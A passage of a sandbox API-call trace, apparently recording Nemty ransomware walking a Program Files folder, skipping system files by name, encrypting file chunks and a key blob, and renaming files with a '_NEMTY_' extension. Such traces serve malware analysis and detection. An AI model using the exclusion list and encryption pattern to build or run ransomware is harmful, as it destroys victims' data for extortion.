nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.598] CloseHandle (hObject=0xffffffff) returned 0 [0061.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0061.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0061.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.599] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0061.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.599] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0061.599] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0061.599] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0061.599] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0061.599] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0061.599] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0061.600] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0061.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0061.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0061.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0061.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0061.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0061.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0061.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0061.601] Sleep (dwMilliseconds=0x5) [0061.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd85d5a90, dwHighDateTime=0x1d561e7)) [0061.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd85d5a90, dwHighDateTime=0x1d561e7)) [0061.603] GetLastError () returned 0x5 [0061.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.603] GetLastError () returned 0x5 [0061.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0061.603] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.603] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.603] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0061.603] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="DgQegfCaIwXIYK89Q2lejBn4d0pnItCmKePC3rubX/5p1daQ1uxBlmZKxFe0MMKV\r\n9uwisKfCrT7jKrf28W6YItueFfO/TenAYo4kd7mrEkOdaqJUwbEX8Vx6aLzxLqrV\r\n9JXkc2/0/2fwEbldoj7JPNo7u2cxgGrxwWwuBA8ZGT/N6vyHgTwPAVccxZtCPyWL\r\nS3e79OWqVo12eSxulDIQDBLrxMok+wqJbU6bYM3tXFpTLLzVUb8zaNdj94qhEMr1\r\nYL/3Alr+cZqS8HYWr8fK6T/Pm0ie6GoJx+PghYuP9HTsw6CdcIkRcyu9rl6TN1Vs\r\nHtSo/6ZlIBO4gjhsQyX7QA==\r\n", pcchString=0x653e91c) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0061.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0061.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.604] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.604] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.711] CloseHandle 